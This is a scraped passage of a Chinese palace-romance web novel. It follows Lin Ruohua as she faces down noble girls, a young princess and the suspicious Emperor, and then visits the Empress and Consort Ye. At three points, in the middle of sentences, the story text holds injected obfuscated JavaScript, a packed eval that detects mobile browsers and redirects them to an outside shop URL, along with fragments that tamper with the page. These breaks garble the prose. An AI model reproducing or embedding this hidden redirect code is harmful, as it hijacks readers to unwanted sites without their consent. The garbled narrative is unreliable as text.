唯有唐彤珠不以为意地摆了摆手:“皇上日理万机,怎会过问这等小事?不过是我们女儿家之间的口角罢了,而且谁能证明,我们这里可有四个人,你口说无凭。” “那若是加上我呢?” 一个柔弱的声音从假山另一头传了过来,那里有几株高大的桂花树,朱琇云从桂花树后缓步走出,站到了林若华身旁。 唐彤珠没料到朱琇云也在。 “你们……” “道歉。”林若华毫不客气地打断她。 “否则我就禀明皇上,是你父亲为了向三皇子表忠心,才纵容你来寻我的晦气。朝野上下皆知太子殿下与三皇子殿下不睦,皇上或许不会处罚三皇子,但他会不会允许一个臣子的女儿,随意欺辱未来的太子妃?皇室颜面何在?到时不只是你们,你们的父亲也会因此受到牵连。你们好好想想。” 林若华用很平静的语气,把皇子之争的遮羞布给掀开了,摆在了明面上。 “你、你、你胡说什么!”唐彤珠舌头打结,连话都说不利索了。 她是怎么知道的? 唐彤珠心中骇然,已是方寸大乱,她慌忙转头看向左右的同伴,同伴们更是脸色煞白。 “道歉。”林若华再次重复,语气未变。 唐彤珠方才嚣张的气焰已消失无踪,低下头,干巴巴地说:“是我不该胡言乱语,还请太子妃恕罪。” “还有你们。”林若华的目光转向唐彤珠身边那三个已吓得花容失色的贵女。 “臣女知错,再不敢胡言了。”见唐彤珠都已低头,三人忙不迭赔罪,连声音都带着哭腔。 “还要给朱小姐道歉。”林若华提醒道。 “朱小姐,对不住。”四人又齐齐向朱琇云赔罪,动作有些僵硬。 林若华这才微微颔首:“记住今日的话,下次若再让我听到类似言语,便没这么容易过去了。” 唐彤珠等人闻言,转身就想赶紧离开这个是非之地,却被林若华再次叫住。 “等一下,你们是不是忘了什么?” 四人脚步一顿,回头看来,面露不解。 林若华只是静静地看着她们。 唐彤珠率先反应过来,赏花宴上,林若华并未计较她们行礼不周,此刻却不再含糊,要她们做足了礼数才准离开。 她咬着牙,领着三人,规规矩矩地向林若华行礼。 礼毕,唐彤珠转身,正要迈步。 “请留步。” 唐彤珠扭过头来,面色已是铁青:“朱小姐还有何指教?” 朱琇云迎着她不善的目光,柔声道:“诸位尚未向杜小姐致歉。杜小姐从未与太子殿下定亲,诸位方才所言,亦是损了杜小姐清誉。” 唐彤珠闻言,面容扭曲了一瞬。 她猛地仰起头,冲着天空大喊:“杜小姐,对不住了!” 余下三人面面相觑,也只能有样学样,不过声音极小,含糊不清:“杜小姐,对不住。” 这一次,再无人阻拦,四人几乎是落荒而逃。 待脚步声远去,这处角落又只剩林若华与朱琇云二人。 微风拂过,金黄小花纷纷落下,香气更浓。 “这些人,恐怕不是第一次说这种话吧?”林若华轻声道,几朵小花飘至二人之间:“为何不请皇后娘娘与太子殿下为你做主?” 看唐彤珠等人那般肆无忌惮的模样,实在不难猜想。 朱琇云低下头,唇角牵起一抹凄然的苦笑:“她们当着我的面,倒也不至于太过分,只是爱含沙射影。况且……” 她顿了顿,声音更轻了:“我也不愿给姑母和太子殿下平添烦扰。毕竟她们父兄皆居要职,在朝中盘根错节,而姑母他们……” 她的话语未尽,但林若华已心下了然。 早年萧长离与皇后备受冷落,如今太子得势时日尚短。 若是对太子不敬,为了天家颜面,皇上必会严惩。 可朱琇云不过是不受宠的皇后身边的一个孤女。 皇后出身贫寒,否则当年也不会送女儿入宫为婢了。 本就娘家无人,朱琇云又怎会忍心再为她添麻烦? “可她们也不能随意污蔑你。” 林若华看着朱琇云的模样,心中不是滋味。 前世父母过世后,她一个人,也遭遇过谣言。 “林小姐。”朱琇云忽然抬眸,直视林若华,眼眶微红,就连声音中都带着颤抖:“您怎知她们便是污蔑?她们说得不错,我确实存了心思,这才前来寻你。姑母说你是个极好的姑娘,所以能否请你在太子殿下面前替我美言几句?我愿意入东宫为侧妃。” 她说完这番话,已经用尽了浑身力气,脸颊泛起不正常的红晕,眼神却执拗地看向林若华。 “嗯?”林若华一怔,不解道,“可是,你并不心仪太子殿下。” “林小姐又如何得知我对太子殿下无意?”朱琇云反问。 “因为你一直称皇后娘娘为姑母,却未唤太子殿下一声表哥,言辞间分明带着疏离。不过你若真有心为侧妃,向皇后娘娘开口岂不更容易,为何舍近求远,来寻我?” “姑母不愿我为妾,即便是太子的妾。她说,深宫苦,为人妾室更苦。姑母也曾为我择过良人为妻,是我自己不肯答应。” “为什么?以皇后娘娘与太子殿下如今的地位,为你寻一门好亲事并非难事。为何一定要求到我面前?你……你应该是一个很清高的人。” 皇后极其呵护这个外甥女,如果不是太子早逝、皇后落魄,这位才情出众的表小姐也不会落得个凄凉的结局。 朱琇云似笑非笑:“因为我并非你想象中那般清高。我自幼体弱,如今虽稍有好转,但太医诊过脉,再三嘱咐万万不可生育,且需常年静养。一旦嫁入高门,既不能绵延子嗣,又无力操持家务,未必能得婆家真心容纳。即便看在姑母与太子殿下的颜面上表面光鲜,私下里怕也举步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16672686|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维艰。但下嫁寒门举子,待他功成名就之日,未必不会弃我如敝履。” 朱琇云脸上的笑容更加难看:“太子妃放心,我对太子殿下并无男女之情,绝不会威胁你的地位,只想求一处安身立命之地。况且有我在,也好以此为由,推拒更多想要入东宫的女子。” 最后这句话,她说得极其艰难,带着浓浓的自嘲。 “更、更多的女子?”林若华的表情瞬间变得十分古怪,她对萧玄鹤有三宫六院并不意外,可她不接受萧长离未来有三妻四妾。 萧长离可是现代人! 不对,她也不知道如今的萧长离,究竟算是古人还是现代人了。 反正这不对! “不对……” “何处不对?” 林若华这才发觉竟将心中所想说了出来。 她看向朱琇云,一时不知该如何解释。 朱琇云见林若华沉默,眼中含泪,声音哽咽:“林小姐是觉得我在诓骗你?你也同她们一样,认为我是个贪慕权势之人?” 林若华轻叹一声:“并非如此,况且,我不也是靠着未来太子妃这个身份,靠着皇家的权势,才逼得唐彤珠她们道歉的吗?如果我还只是那个六品小官的女儿,她们谁会觉得自己有错?” 金黄小花再次飘来,林若华顺着小花的来处,看向更远的地方。 “我只是觉得很可惜,以你的才华,若是个男子,即便体弱,也能凭借才学去考取功名,施展抱负。可身为女子,纵然有皇后与太子的庇护,最终也只得在婚事上周旋。” 她心想,如果是在现代,朱琇云是可以凭借自己活下来的,而不用如此艰难地恳求一个依附他人的位置。 不过别说朱琇云了,就连她自己现在也是前途未卜。 闻听此言,朱琇云蓦然怔住。 她当然能听出对方话语中真挚的遗憾,没有半分虚伪的嘲讽。 正因如此,才愈发无地自容。 这些年来,她早已习惯了众人或是怜悯,或是轻蔑,却从未有人如此直白地为她惋惜过。 惋惜她生不逢时。 强忍的泪水终于落下,不知是因羞愧还是心酸。 她生平第一次如此失礼,没有告辞,便转身疾步离去,不愿让人瞧见自己这般狼狈的模样。 林若华望着朱琇云踉跄远去的单薄背影,心乱如麻。 说不清是为了朱琇云,还是为了她自己。 她在原处未停留太久,很快整理好心情往回走。 然而,刚踏入宴会场地,她便察觉到气氛有异。 六公主不知何时已经到了,此刻正站在场中,正鼓着腮帮子气呼呼地瞪着自己。 一见林若华回来,六公主当即一手叉腰,一手指她:“你怎么能脚踏两只船呢?” 林若华:“啊?” 公主嘟起小嘴,跟个茶壶似的:“你别不承认,我都知道了。三哥明明那么喜欢你,你怎么能转眼就又和太子哥哥在一起呢?” 哦豁。 看来,林若华曾与三皇子往来之事被捅了出来。 环视四周,朱琇云不在席间,唐彤珠等人幸灾乐祸,露出看好戏的神情,其余宾客看她的目光皆透着古怪,连林洛瑶也惊得瞪大了双眼,一副难以置信的模样。 这一日,林若华的心情都不太好,所以她勾起嘴角,迎着小公主圆溜溜的眼睛说:“是啊,那又怎样?” 29. 流言 众人皆是一惊,谁都没想到林若华竟会如此干脆地承认,连半点推诿的意思都没有。 林若华三步并作两步,大步跨到还在嘟嘴的六公主面前,轻轻按下她指向自己的手:“不可这般指着嫂嫂,不礼貌。” “嫂、嫂嫂……”六公主一时怔住,没能从这突如其来的称呼中反应过来,她的哥哥们还尚未成婚。 “乖。”林若华顺手就摸了摸六公主的小脑袋。 六公主个子真矮,只到自己的腰间,这可是货真价实的小学生。 哟,还戴着青雀钗呢。 “不要摸我的头啦。”六公主从林若华的魔爪下挣脱出来,继续气鼓鼓地瞪着她,小脸涨得通红,“这是只有父皇可以摸的!” 她努力想摆出威严的模样,可惜年纪幼小,并未成功。 林若华收回手,对六公主温言道:“可我正是你父皇亲自册封的太子妃啊。” 说罢,她一面含笑,一面环视在场众人。 那些窃窃私语戛然而止,不少人心虚地垂下眼帘。 果然是之前的形象太过软弱,所以敢来试探的人才会络绎不绝。 林若华收回视线,对六公主正色道:“况且,公主可知何为脚踏两只船?莫非只因你三哥钟情于我,我便非要嫁给他不可了?” 她微微俯身,与六公主平视:“倘若日后有两位公子都倾心于公主,可公主终究只能择一人而嫁,这难道也能称作脚踏两只船吗?” 六公主圆圆的苹果脸上写满了大大的困惑,眉毛微微蹙起,小嘴张了又合,最后竟无言以对。 她觉得这位准嫂嫂的话听起来似乎很有道理,可细想之下,又觉得哪里不太对劲,小小的脑袋里一时绕不过弯来。 林若华不待她想明白,便直起身,接着说道:“正所谓窈窕淑女,君子好逑,皇上金口玉言,也曾赞我知书达理、温婉贤淑、仁爱孝悌。” 她顿了顿,目光再次扫过众人,在唐彤珠那几个面露不屑的贵女脸上多停留了一瞬:“正是因为嫂嫂我这般品貌,才会同时得到太子殿下与三皇子殿下的青睐,这实在不足为奇啊。” 四周暗中竖着耳朵的众人皆被这番话惊呆了,这脸皮是不是太厚了点? 可她们又能说什么呢?难道要说皇上所言有误不成? 那几个原本准备看笑话的小姐,此刻也只能悻悻地低下头。 “可、可是……”六公主的态度软了下来,声音中甚至还带上了几分委屈:“那三哥怎么办啊?三哥哪里不好了,你为什么不选三哥呢?” 这不是辜负了三哥的一片真心吗? 林若华:“?” 天啊,这是她能选的吗? 林若华心中暗叹,六公主到底还是太过天真了。 “自然是因为你太子哥哥更优秀啊。要不然,你太子哥哥为什么是太子哥哥呢?”林若华的语气愈发温和。 你看,你老爹都让萧长离当太子了,你还能有什么意见? 这句话林若华自然是没有说出口,但在场所有人除六公主外都听出了弦外之音。 “你……我……三哥他……呜——” “六公主殿下!六公主殿下!” 六公主转身就跑,只见青色齐胸襦裙的一角消失在御花园外,一溜烟就没影了,真的就跟一只青雀似的。 随行的宫女们急忙提起裙摆去追,其中一个年纪稍长的宫女对着林若华行了个礼,这才赶紧跟上。 不是,这就哭了? 还是小朋友好忽悠。 林若华转头看向目瞪口呆的众人,笑容明媚:“赏花宴还没结束呢,大家继续玩啊。” 众人闻言,又目瞪口呆地齐齐看向她。 林若华一眼瞥见胡玉乔,她正隐在人群中,仍旧端着那副得体的笑容,与周围人颇有些格格不入。 四目相对,林若华嘴角一勾,也回了一个微笑。 胡玉乔见状,眼神变得更加意味深长。 这场匆匆忙忙举办的赏花宴,又在莫名其妙中结束了。 直到坐上回府的马车,林洛瑶的嘴巴都还没合上。 她盯着闭目养神的林若华,仿佛第一次认识这个在她七岁那年突然冒出来的姐姐。 这呆愣的样子一直持续到她们回到林府,而林若华始终未予理会,带上苏南,径直走向自己的院子。 林若华一战成名。 关于她与太子、三皇子之间的爱恨纠葛,第二天便传遍了整个京城,更有愈演愈烈的趋势。 众人私下里议论纷纷,且版本越发离奇,还衍生出了各种狗血剧情,例如“太子横刀夺爱、三皇子黯然神伤!”“夺妻之恨不共戴天、三十年河东三十年河西!”“震惊!太子为一女子竟对三皇子做出这种事!”。 要说这里面没人推波助澜,林若华是不信的。 林兴业在厅堂中来回踱步,他官袍都未曾换下。 “你怎可如此……” “不知廉耻是不是?” “你简直……” “丢尽了林家的脸面。” “你……” 林兴业每说一句,林若华就打断一句,最后气得满脸通红,浑身发抖,指着林若华半晌说不出话来。 平日里他总是装作慈父模样,来讨好这个即将飞上枝头的女儿,看来今日是真的急了。 火气比上次讨论林若华外祖父母时还要大。 叶氏见状,连忙上前为他抚背顺气,又转头对林若华柔声劝道:“若华,少说两句罢。没见你父亲气成什么样了?” 林若华坐在厅堂的椅子上,手肘抵在扶手,单手托着腮,望着焦急的林兴业与叶氏,问道:“父亲今日似乎格外清闲?莫非在工部无事可做?” “你还有脸说!为父今日特意告假回府,实在是无颜面对同僚啊!”林兴业捶胸顿足,声音都有些嘶哑,“今早刚到衙门,田大人就拉着我问东问西,话里话外都在打听你与三皇子的事。那些人的眼神,分明就是在看我们林家的笑话。我这老脸往哪儿搁啊!” 想起今早在工部,众人耐人寻味的目光,林兴业询问后,这才知晓发生了何事,匆匆告假归家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16689780|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他好不容易靠着女儿当上太子妃在官场上扬眉吐气,可不能就这么毁了。 “你老实交代,中元节那日,你……”林兴业压低声音,生怕被人听了去,其实此刻厅堂中唯有林兴业、叶氏、林若华、林洛瑶及苏南五人在场,所有下人早已屏退。 “跟三皇子在一起。”林若华坦然承认。 叶氏惊得倒吸一口凉气。 林兴业当即捂住心口,踉跄着后退两步,似要晕厥。 “老爷!老爷这是怎么了?快坐下。”叶氏连忙扶住他,将他搀到主位上坐下,一边更快替他顺气,一边想要吩咐嬷嬷去请大夫,这才想起,嬷嬷不在身边。 好在不久林兴业便缓了过来。 旁观多时的林洛瑶终于忍无可忍,语带讥讽:“姐姐先是巴结三皇子殿下,如今又攀附上太子殿下,难怪如此嚣张,原来是仗着有两位皇子撑腰。” “嫉妒了?”林若华轻飘飘地瞥她一眼。 林洛瑶一听,尖声道:“我看你能得意到几时!” “这话你上次说过了,下次换点新鲜的吧。”林若华眼皮都没抬一下。 林洛瑶被林若华漫不经心的模样气得直跺脚,转而去林兴业身边,委屈道:“爹你看看,姐姐如今越发不把家里人放在眼里了。” “父亲何必动气?我虽当不上三皇子妃,如今却能做太子妃,不是更好?”林若华看着满头大汗的林兴业,语气平和,连姿势都未曾换过。 见林若华仍是这般云淡风轻的模样,林兴业更是气结,颤颤巍巍伸出手指着她:“这般行事,不知收敛,你这太子妃之位还能保住吗?如今满城风雨,若是传到皇上耳中……” “那又如何?皇上、皇后娘娘与太子殿下都还未曾怪罪,父亲又何必在此自乱阵脚?” 林若华眼睛余光瞄到一旁的苏南,苏南递来眼色,林若华心知她有事相告。 方才在院子里,苏南收到接到飞鹰传书,还未来得及细说,林若华便被林家众人唤至厅堂。 想来是萧长离那有了什么消息。 正在此时,外头传来一阵急促的脚步声,管家匆匆来报:“老爷,夫人,宫里的王公公来了。” 闻言,林若华放下手,连忙起身。 林家众人面面相觑,脸色皆是一变。 这个时候太监前来,恐怕凶多吉少。 林兴业狠狠瞪了林若华一眼,咬牙切齿道:“看你惹出的好事!” 来的仍是熟面孔王锦王公公,他依旧笑容可掬,看不出丝毫异样。 “奉皇上口谕,请林小姐即刻入宫一趟。” 林兴业紧张地问道:“王公公,不知皇上召见小女,所为何事?” 王公公笑而不答,只道:“林小姐,请吧。” 他侧身让开道路,这个动作不言而喻。 林若华从容接旨,随着王公公向外走去。 临出门前,她回头看了眼神情各异的林家人。 真是的,何必这么着急。 反正这事闹大了,倒霉的也不止她一个。 30. 演技 “平身吧。” 皇帝的声音自高高的台阶上传来,带着惯有的威严以及旁人难以察觉的疲惫。 “谢皇上。” 林若华起身,微微抬首,偷偷瞥了一眼御座之人。 大殿内光影交错,天子的面容隐藏在阴影之中,难以分辨。 “今日怎么不穿那身红色裙子,不戴那朵牡丹绢花了?” 万万没想到,皇帝开口的第一句,并非是追究那闹得满城风雨的流言,反而问起了她的穿着。 因一早林家众人催得急促,林若华就随意让月季从衣柜中拿了件白色旧衣套上,杜鹃梳的发髻也十分简单,只用一支的玉簪挽起,后又匆忙入宫,根本未来得及更换。 这就让她看起来极其像某个早逝的白月光。 从长相到装扮,简直可以说是一模一样。 不,这不就是她吗? 林若华不禁后悔道,下次再也不睡懒觉了。 “皇上……”林若华正酝酿着该如何应答。 “说实话。” 她刚要找个理由解释,便被帝王淡漠地打断。 果然,什么都瞒不过这位的眼睛。 林若华心知无法搪塞过去,索性直言:“因为臣女知道皇上不喜艳丽之色,故而那日入宫才刻意做出如此打扮。” “哦?”皇帝的声音依旧听不出喜怒,“你胆子倒是不小。” 沉重的脚步声响起,皇帝一步步走下台阶,最终停在林若华身边。 高大的身影瞬间笼罩在她的侧脸、她的身上。 林若华能感觉到对方审视的目光。 他站得很近,林若华甚至能闻到龙涎香中还夹杂着一丝淡淡的药味。 “你不怕朕。” 林若华还未张口辩解,却听老皇帝蓦地质问:“从初见时你就不曾怕过,为何?说!” 空旷的宫殿里回荡着“说——” 让她怎么说啊,她当时就把皇帝当同事了,并且天生就缺乏对于皇帝的畏惧感。 明面上,此处只余下他们二人独处。 但林若华不信老皇帝真的毫无防备,一定有暗卫潜伏在其中,这是针对她的试探,一着不慎,便是万丈深渊。 她明白,老皇帝已暗中调查过她的底细,恐怕连林家祖辈几代都翻了个底朝天,却仍寻不到任何可疑之处,更没有发现与前朝余孽牵连的蛛丝马迹。 要么是她背后的势力藏得太深,要么当真是巧合。 可老皇帝多疑,坐在这个位置上的人,怎么会相信世上有什么巧合。 左右查不到证据,可皇帝杀人从不需要证据。 果然,还是这张脸带来的麻烦。 告诉他真相更是不可能的事。 随着林若华的沉默,老皇帝眼中的杀意愈发凝重。 既然如此,就到了拼演技的时候了。 搏一把。 林若华抬起头,挺直了脊背,目光澄澈,望向台阶上已空无一人的龙椅。 “因为臣女初见皇上时,便觉得似曾相识。” 皇帝的眼神骤然变得极为骇人。 林若华不等皇帝发问,继续说了下去:“臣女年幼时时常入梦,梦境支离破碎,一时是寒风呼啸的悬崖,一时是冰冷刺骨的河水,还有……阴冷潮湿的牢狱。” 此刻,皇帝的目光如同一把剔骨刀,恨不得将林若华整个人剥皮拆骨,再用力扒开看看,内里究竟藏着何物。 林若华觉得自己下一刻就会身首异处。 可她依旧不慌不忙,沉浸在自己的回忆里:“在那个昏暗的牢狱之中,臣女总会见到一个刚受过大刑的人,他衣衫褴褛,血迹斑斑,始终背对着臣女,不肯回头,也不肯说话。” 皇帝沉默不语,开始围绕她走动,从左到后,由后至右,步伐缓慢。 就在他即将走到林若华正面时,林若华微微转头,毫无避讳地迎上帝王深不见底的双眼。 “活下去,你不想报仇了吗?” 皇帝脚下顿住,呼吸一滞,眼中是无法掩饰的震惊。 这分明是当年,明月在死牢中对他说过的话! 除了他与明月,绝无第三人知晓。 她如何得知? 她究竟是谁? 林若华当然知道,这场戏她演过。 良久,皇帝的声音再次响起,那里面浸染着痛苦、怨恨与不解,在无数岁月中,腐蚀着浑身血肉:“既然要我报仇,为何功成之日,又要在我面前自尽?” 像是在质问眼前人,又像是在追问记忆中那道决绝的身影。 “因为公主不只是阿昱的公主,更是天下百姓的公主,也是父皇的公主。公主从未对不起阿昱,也未负天下苍生,然王朝倾覆,父死国灭,身为公主,唯独亏欠父皇,所以唯有一命相偿。” 林若华一顿,又道:“这是臣女在梦中所得的答案。” “哦?”皇帝又开始走动,表情逐渐隐藏在背光的阴影中,晦暗不明,“那你自己又如何想的?” “若换作臣女,”林若华眼中闪过明亮的光彩,“定要咬牙活下去,去看这万里山河如何重整,去看黎民百姓在新朝是否得以安康。逝去的已然不在,但活着的人,总要向前。若能亲眼见证山河无恙,盛世如愿,那么昔日所有的牺牲和选择,便都无愧于心了。” 老皇帝久久凝视着她,目光复杂难辨,最终点点头,转身缓缓走回高台,重新坐上龙椅。 “你和太子,还有老三,是怎么回事?”皇帝提起流言,语气已恢复了帝王往日的威严。 终于问到正题了。 既然要糊弄,就糊弄到底吧。 林若华适时地垂下眼眸:“臣女初遇三殿下时,莫名有一种熟悉之感,误以为他便是梦中之人。直至那日入宫见到皇上,才惊觉是自己认错了人。” 她声音带着几分释然,也有一种如释重负的轻松:“其实,我对三皇子殿下,并无男女私情。” 殿中重归于静,许久,龙椅上传来沙哑的声音:“若你愿意,朕可……” “臣女不愿。” 林若华竟大胆打断了天子之言。 她抬起眼,目光坚定地望向高处:“你知道的,我不愿意。” 那一瞬,殿中白衣女子的身影,与皇帝记忆深处的故人重叠,让他一阵恍惚。 又是良久的沉默,皇帝终是开口:“如今满城流言,说你周旋于皇子之间,品行有亏,都将兄弟失和的过错推于你,朕可顺势为你解除与太子的婚约。” “臣女以为,唯有无能之辈,才会将所有过错都推给女子。”林若华微微仰首,不卑不亢:“太子殿下温和有礼,是值得托付之人。” 言下之意,老皇帝你就别添乱了。 其实这场风波中,最受害的本就是她。 不仅因她是女子,更因另外两位是皇子,地位尊卑有别。 “你竟觉得太子温和有礼?”皇帝忍不住再次打量下方之人:“你不怕朕降罪?” “皇上今日召见臣女,本就不是为了问罪而来。”林若华坦然应对,目光清正,“皇上的态度,便是天下的风向。只要皇上不怪罪臣女,世人又岂敢苛责?圣意远远重于一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16708282|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女子的名声。” “……你退下吧。”最终,皇帝只是摆了摆手。 “臣女告退。”林若华躬身一礼,缓步退出。 高台之上,天子独坐。 他相信了吗? 无人得知。 走出压抑的大殿,秋日柔和的阳光映照在林若华脸上。 林若华悄悄松了口气。 无论如何,又活过了一天。 她刚稳下心神,走出不过十余步,便瞧见一位年长的宫女候在不远处。 见她出来,立刻含笑上前,行了一礼。 是上次进宫时,在皇后身边见过的人。 “林姑娘万福,皇后娘娘请你过去说说话儿。” 林若华点点头,随宫女一同前去皇后所居的坤宁宫。 一踏入殿内,不等林若华行礼,皇后便制止了她,并亲热地招手让她靠近前:“好孩子,快过来。” 还起身拉住了她的手,拉着她坐上软榻。 两人平视,中间隔着一个小茶几,茶几上还放着两碟精致的点心。 “你快跟本宫说说,昨日你到底对云儿说了些什么?这丫头,往日是铁了心,执意要嫁给皇儿。我知道,皇儿对她无意,可她怎么劝都不听。昨日赏花宴上,与你见面后突然想通了,说不愿入宫了,这是好事啊。” 皇后顿了顿,又愁道:“可她却又不肯相看我瞧中的那几家青年才俊,只说此生不嫁,要在本宫身边侍奉一辈子。这如何是好?” 皇后絮絮叨叨说了一大堆,同样未先提闹得沸沸扬扬的流言之事。 林若华温言劝道:“皇后娘娘莫急,若华当日不过是与朱小姐投缘,同朱小姐说了几句罢了。朱小姐知书达理,心中自有主张,绝非旁人所能轻易动摇的。她既做此决定,必是经过深思熟虑。依我看,能在娘娘身边尽孝,总比嫁入不相熟的人家,应付一大家子琐碎的事,要来得如意。” 绝口不提朱琇云的身体状况。 “哎……”皇后轻轻叹了口气,“你这孩子,倒是会说话。本宫家中本就没几口人。哥哥嫂嫂早年为了生计吃尽了苦头,后来拼命赚了些钱财,都用来给云儿治病了,他们自己却没享几年福,就先后去了,只留下云儿这么一个女儿。” 皇后的目光看向虚空中,似在回忆往事:“刚找到云儿的时候,她病得奄奄一息,瘦得只剩一把骨头。她是我亲眼看着长大的,我早就她当作亲生女儿一般疼爱。哎,算了算了,她既然不愿意,留在本宫身边,也好,本宫总能护她周全。” 皇后自知才疏学浅,教不了她什么,当时还特请了宫中女官来悉心教导。 琇云的决定,应该要比她的正确吧。 忽而又想起什么,皇后脸上阴霾一扫而空,露出温和的笑意:“对了,你的事本宫也听说了。外面那些人嚼舌根,你别往心里去。本宫看啊,你就是一个聪明又很有眼光的好孩子,选了我的皇儿。” 语气中带着满意的赞赏,对太子极有信心,也对林若华选择太子感到欣慰。 林若华:“……” 啊?重点是这个吗? 她张了张嘴,想要解释两句,却又不知从何说起,最终只能化作一个略显无奈的浅笑。 又陪着皇后说了好一会儿体己话,听她念叨了些太子幼年时的趣事,林若华才好不容易寻了理由告退出来。 刚走出坤宁宫,正想松口气,却又见一个小宫女快步上前,躬身行礼。 “林姑娘,奉主子之命,特来相请。” 而这次要见林若华的人,完全出乎了她的意料。 31. 又来 林若华跟在小宫女身后,一路前行,仅仅穿过两道朱红色的宫墙,约莫不到一盏茶的时间,便来到另一座宫殿前。 宫殿前有处开阔的庭院,庭院中有棵金黄的梧桐树,梧桐树下绑着个小小的秋千。 林若华路过时看了眼还在随着风微微摆动的秋千。 小宫女将林若华引至殿内,便躬身退下,留她一人在空旷的大殿中。 这座名为“长春宫”的宫殿,位置极佳,名字寓意也好,可此处的景象却与“长春”二字相去甚远。 比起皇后那金碧辉煌的坤宁宫,此地简直朴素得不像个高位妃嫔的居所。 陈设简单,仅有一个楠木屏风,四把紫檀木椅,五六个盆景摆件,连熏香都没有点燃,给人一种十分冷清,甚至有些寂寥的感觉。 丝毫看不出曾经有两个孩子在这里生活过。 林若华四处打量,目光被楠木屏风上的画作所吸引。 绢帛上绘有远山、江水、孤舟,孤舟里隐约载着两抹人影,在江面渐行渐远。 此画竟有身临其境之感,画工精湛,栩栩如生,与皇帝寿辰那日萧玄鹤献上的贺礼一脉相承,只是多出两分冷淡疏离的意味。 右下角有一方朱红印文。 “叶?” 看来这是叶妃所作,叶妃常年深居简出,不爱与人往来,外人竟不知其画技如此出神入化。 林若华在脑海中思索有关叶妃的剧情。 剧本中关于叶妃的闺名、经历、喜好,皆尚未提及。 她唯一的作用,便是作为镇国公的堂妹,萧玄鹤的堂姨,入宫抚养萧玄鹤长大。 在六公主死后不久,叶妃也忧郁而终。 结束了身不由己的一生。 “你来了。” 一个毫无感情的声音自身后响起,把正一面观画,一面深思的林若华吓得一个激灵。 她急忙转身,只见叶妃不知何时已立在殿中。 一袭白衣,面无表情,走起路来悄无声息,以及周身不似活人的气息。 林若华暗自庆幸,还好,现在不是晚上。 “参见叶妃娘娘。” 林若华起身后,还未开口询问,却见叶妃左手从身后轻轻一拽,竟拎出个不停扑腾的橘色团子。 定睛一看,正是扭来扭去的六公主。 “母妃、母妃,别拉青雀嘛,裙子要皱啦。”六公主今日穿着橘色齐胸襦裙,正嘟着嘴,小手还在胡乱挥舞。 叶妃面不改色,纹丝不动,单手提着六公主,那纤细的手腕也不知从哪来这般力气。 “忘了方才怎么答应母妃的?” 叶妃看都没看女儿一眼,目光始终落在林若华身上,语气中也没有什么情绪。 六公主脚刚沾地,就忙不迭地整理起被扯皱的裙子,待收拾妥当后,才抬起一张委屈巴巴的小脸,看向林若华,还未开口,眼圈先红了。 “对不起……” “还有呢?” “请原谅我。” “赏花宴上的事我已知晓,青雀回宫后,我便责罚了她。”叶妃淡淡道,脸上毫无波澜,教人猜不透心思。 林若华纳闷道:真不知六公主这活泼的性子随了谁,相较于六公主,萧玄鹤更像是她亲生的。 “臣女相信,公主并非有意为之。”林若华应道,顺势伸手,轻轻摸了摸六公主的脑袋,“既已知错,我便原谅你了。” 这回小公主并未躲闪,乖巧地任她抚摸,只是小嘴依旧嘟得老高。 林若华见状,又俯身与六公主平视。 六公主努力瞪大眼睛,不让眼中的泪花落下。 就在六公主以为林若华还要出言教训时,却见对方忽然唇角一勾,露出一个狡黠的笑意。 “你还小,许多事尚且不懂。但有一样,你须得牢记……”她故意顿了顿,看着六公主瞬间紧张起来的小脸,这才满意地说道,“不管我嫁给你哪位皇兄,你都得乖乖叫我一声嫂嫂。” 要学聪明点啊,别再小小年纪就被人给害死了。 六公主一愣,眼睛眨了眨,尚未回神,林若华已直起身,向叶妃道:“娘娘若无其他吩咐,若华便先行告退了。” 叶妃微微颔首,未再多言。 待林若华离去,六公主再也忍不住,“哇”的一声哭了出来:“青雀不是故意的,青雀真的不是故意的!为什么嫂嫂都相信我了,母妃不相信我……” “昨日你可曾见过秋露?”叶妃不理会她的哭诉,只是淡淡反问。 六公主一面放声大哭,一面使劲摇头。 秋露长六公主七岁,是她的贴身宫女,自幼照顾她起居,陪她读书玩耍,她一直将秋露当做亲姐姐看待。 故而六公主对其所言深信不疑。 叶妃合上眼帘,长叹一口气:“你本有机会向母妃明言,为何不说?” 六公主低下头,依旧泣不成声。 因为,秋露告诉她说,大庭广众之下,众目睽睽,林小姐必不敢撒谎抵赖。 那时她心里除了对秋露的信任,还藏着借机替三哥出口恶气的小心思。 她知晓母妃性情冷淡,不喜与人争斗,一定不会同意,这才偷偷瞒了下来。 可现在,她闯下大祸,疼爱她的秋露却不见了。 